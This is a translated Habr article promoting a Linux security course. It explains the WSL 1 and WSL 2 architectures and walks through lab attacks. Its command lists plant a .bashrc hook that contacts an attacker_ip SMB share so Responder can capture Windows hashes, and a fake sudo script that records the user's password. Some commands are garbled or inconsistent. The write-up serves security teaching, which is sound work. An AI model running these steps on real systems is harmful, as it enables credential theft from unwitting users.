WSL experiments. Part 1

Hey habr! OTUS Launches New Course Stream in October "Linux Security". In anticipation of the start of the course, we are sharing with you an article written by one of our teachers, Alexander Kolesnikov.

In 2016, Microsoft introduced the new WSL technology to the IT community (Winside Subsystem for Linux), which in the future allowed to unite previously irreconcilable competitors who fought for popularity among both ordinary and advanced OS users: Windows and Linux. This technology made it possible to use Linux OS tools in a Windows environment without the need to start Linux, for example, using Multi-boot. On Habr you can find a large number of articles describing the benefits of using WSL. However, unfortunately, at the time of the creation of the article on this resource, no security studies of such a symbiosis of operating systems were found. This post is an attempt to fix that. The article will talk about the features of the WSL 1 and 2 architectures, analyze several examples of attacks on systems using these technologies. The article is divided into 2 parts. The first will provide basic theoretical attack methods from Linux and Windows. The second article will include setting up a test environment and reproducing attacks.

WSL 1 Architecture Features

For the most accurate dive into WSL security issues, it is necessary to determine the main nuances associated with the implementation of the subsystem. One of the main user tasks solved by WSL is to provide the ability to work through the terminal of Linux systems on a host with Windows OS. Also, the compatibility offered was so native that Linux executables (ELFs) could be run directly on a Windows system. To achieve these goals, a special subsystem was created in Windows 10 that allows you to run Linux applications using a set of certain system calls - thus, an attempt was made to map a set of Linux syscalls to Windows. This was physically implemented by adding new drivers and a new process format. Visually, the architecture looked like this:

In fact, interaction with the Linux operating system was organized through several kernel modules and a special type of process - pico. From the diagram above, you can see that the process running on the Linux instance on the host must be native and must use the same resources as normal Windows applications. But how can this be achieved? In project drawbridge Windows process concepts were developed that provided all the necessary components of an operating system (depending on its version) to run an application on another OS.

Note that the proposed abstraction made it possible not to focus on the operating system (in particular, Windows) in which a process of another OS is expected to start, and offered a general approach.

Thus, any application inside the pico process could run without looking at the Windows kernel:

1. Compatibility and system call translation issues should be handled by dedicated providers;
2. Access control must be done through the Security Monitor. The monitor resides in the kernel and therefore Windows needed an upgrade in the form of a new driver that could act as a provider for such processes. The pico process prototype is schematically shown below:

Since the Linux file system uses case-sensitive file and directory names, 2 types of file systems have been added to Windows to work with WSL - VolFS and DriveFS. VolFS is an implementation of the Linux file system, DriveFS is a file system that works according to the rules of Windows, but has the ability to choose case sensitivity for names.

WSL 2

WSL 1 had a number of limitations that did not allow it to be used to solve the maximum range of tasks: for example, it did not have the ability to run 32-bit Linux applications, it was impossible to use device drivers. Therefore, in 2020, WSL 2 was released, which changed the approach to building a subsystem. WSL 2 is an optimized virtual machine that matches WSL 1's resource consumption specifications. Now, depending on the problems solved by the Windows user, you can choose the required version of the Linux subsystem. To mitigate possible vulnerabilities, WSL 2 was implemented on top of Hyper-V in Windows 10. In this form, Windows has the ability to run the kernel of the Linux operating system in isolation. It is worth remembering that version 1 of WSL was introduced as a beta feature that was supposed to show the direction of Windows development in this area, so the transition to Hyper-V was inevitable. The final architecture looks like this:

In this version, the kernels of Windows and Linux systems have their own resources and the intersection exists only in the file system, but this intersection is not complete. Interaction between file systems is carried out through a client-server wrapper that operates using the 9P protocol.

Today, Microsoft provides the ability to switch between WSL 1 and WSL 2. Both versions are available for use.

WSL Security

At the moment, there are several works that describe some approaches to using legitimate OS tools to attack the interaction between subsystems. We will use their scripts to check the relevance of the attacks at the time of writing. General list of attacks and scenarios:

1. Implementation of the file system: access rights, availability of shared directories/data exchange mechanisms.

Research was conducted on the subject of violation of access rules from Linux FS->Windows FS, Windows FS->Linux FS. Studies have demonstrated the possibility of modifying a given file within the target OS. There were also attempts to replace, create twins and delete part of the file systems.

Scenario:

• A. Attack from the Windows operating system - modification of files from the /etc directory of Linux OS.
• B. Attack from the Linux operating system - modification of files in directories: C:Windows, C:Program Files, C:Users<User>

2. Implementation of the network stack.

The research was carried out on examples of attacks from the Linux operating system on Windows. The features of the network stack were used, namely, authentication mechanisms on various resources.

Scenario:

• Opening access to a port that is busy in the Windows system
• Opening a port in the absence of appropriate rights
• Running reverse shell using elf file on Windows operating system.

3. Hiding the launch of malicious software processes due to the WSL subsystem.

The research was based on a simple fact - security subsystems cannot intercept events in another kernel that runs using a legitimate provider from the operating system in the case of WSL 1. In the case of WSL 2, there is no way to view events that occur in a separate kernel within lightweight virtual machine.

Scenario:

1) Launching an application for remote access to the system and viewing the logged events.

WSL 1 Experiments: Hash Capture (Windows OS)

Finally, we got to the practical part. First you need to set up an environment for tests. All experiments will be carried out on a bench with Windows 10 2004 installed. The Ubuntu 18.04 image was chosen as the operating system image for WSL. The image was chosen randomly, and any other will work the same way. Commands for setting up the stand:

Must run first powershell.exe as administrator.

For WSL 1, you need to run the commands:

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

Ubuntu.appx install —root #Установим образ

Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.

Restart-Computer #Перезагрузим

After rebooting the stand, you can call the bash command. If everything worked correctly, then you will see something like this output in the Windows console:

We will use the Kali Linux distribution as the attacking machine, all machines must be on the same local network.

Let's assume that we have unprivileged access to WSL on a Windows machine. Let's try to attack the Linux operating system by calling a command from Linux. To implement the attack, we will use a simple autorun technique - add our script to be executed in the Linux environment. To do this, you need to change the file .bashrc.

On the WSL machine, run:

	1. bash
	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
	2. echo  «/home/sam/.attack.sh» >> .bashrc
	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

On the Kali Linux machine, run:

1. Responder -I eth0 -rdvw

On a Windows machine, run bash.

We are waiting for the result on the Kali Linux machine:

Thus, we got the hashes of the Windows user through the WSL subsystem by running the command on the Linux system.

WSL 1 Experiments: Get User Password (Linux OS)

Let's do another experiment. During this check, we will complete the file .bashrc several commands in order to get the password of the user of the Linux operating system.

Let's start bash and enter the commands:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

To successfully complete the attack, the user Sam needs to invoke sudo in a Linux terminal. After that, the Linux OS user password will be in the file pass.txt:

The implementation of the attacks was given for theoretical information only.

In the next part of the article, the implementation of the 9P protocol will be described, the creation of a scanner for this protocol will be considered, and an attack will be carried out using it.

List of used literature

• WSL 2 RESEARCH INTO BADNESS
• Windows Subsystem for Linux Documentation

Read more

• How to choose real-time Linux kernel patching software

Source: habr.com